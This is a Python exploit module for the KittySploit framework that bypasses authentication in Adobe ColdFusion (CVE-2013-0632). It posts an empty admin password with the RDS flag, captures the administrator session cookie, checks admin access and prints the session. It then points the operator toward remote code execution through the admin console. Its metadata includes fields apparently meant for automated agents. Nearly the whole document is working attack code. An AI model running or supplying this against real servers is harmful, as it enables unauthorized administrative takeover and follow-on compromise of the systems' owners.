Adobe ColdFusion RDS Auth Bypass (CVE-2013-0632)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Adobe ColdFusion RDS auth bypass (CVE-2013-0632)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Adobe ColdFusion RDS Auth Bypass (CVE-2013-0632)',
        'description': (
            'Exploits CVE-2013-0632 in Adobe ColdFusion: empty adminpassword with '
            'rdsPasswordAllowed=1 on administrator.cfc?method=login yields CF admin session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2013-0632'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2013-0632',
        ],
        'tags': ['coldfusion', 'adobe', 'auth-bypass', 'admin', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'privilege_escalation'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'admin_surface'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2013_0632_detect'],
            },
        },
    }

    login_path = OptString(
        '/CFIDE/adminapi/administrator.cfc?method=login',
        'ColdFusion admin login CFC',
        required=False,
        advanced=True,
    )

    def _admin_cookie(self) -> str:
        path = str(self.login_path or '').strip()
        r = self.http_request(
            method='POST',
            path=path,
            data='adminpassword=&rdsPasswordAllowed=1',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return ''
        for k, v in (r.headers or {}).items():
            if str(k).lower() == 'set-cookie' and 'CFAUTHORIZATION_cfadmin=' in str(v):
                return str(v).split(';')[0].strip()
        blob = '\n'.join(f'{a}: {b}' for a, b in (r.headers or {}).items())
        m = re.search(r'CFAUTHORIZATION_cfadmin=([^;\s]+)', blob)
        return f'CFAUTHORIZATION_cfadmin={m.group(1)}' if m else ''

    def check(self):
        cookie = self._admin_cookie()
        if not cookie:
            return {'vulnerable': False, 'reason': 'No CF admin cookie returned', 'confidence': 'medium'}
        r = self.http_request(
            method='GET',
            path='/CFIDE/administrator/homepage.cfm',
            headers={'Cookie': cookie},
            allow_redirects=False,
        )
        if r and 'ColdFusion Administrator Home Page' in (r.text or ''):
            return {'vulnerable': True, 'reason': 'ColdFusion admin session obtained', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Admin homepage not accessible', 'confidence': 'low'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        cookie = self._admin_cookie()
        print_success(f'ColdFusion admin session: {cookie[:80]}...')
        r = self.http_request(
            method='GET',
            path='/CFIDE/administrator/homepage.cfm',
            headers={'Cookie': cookie},
            allow_redirects=False,
        )
        if r:
            print_status((r.text or '')[:1500])
        print_warning('Use admin console for further RCE (schedule task, deploy, etc.)')
        return True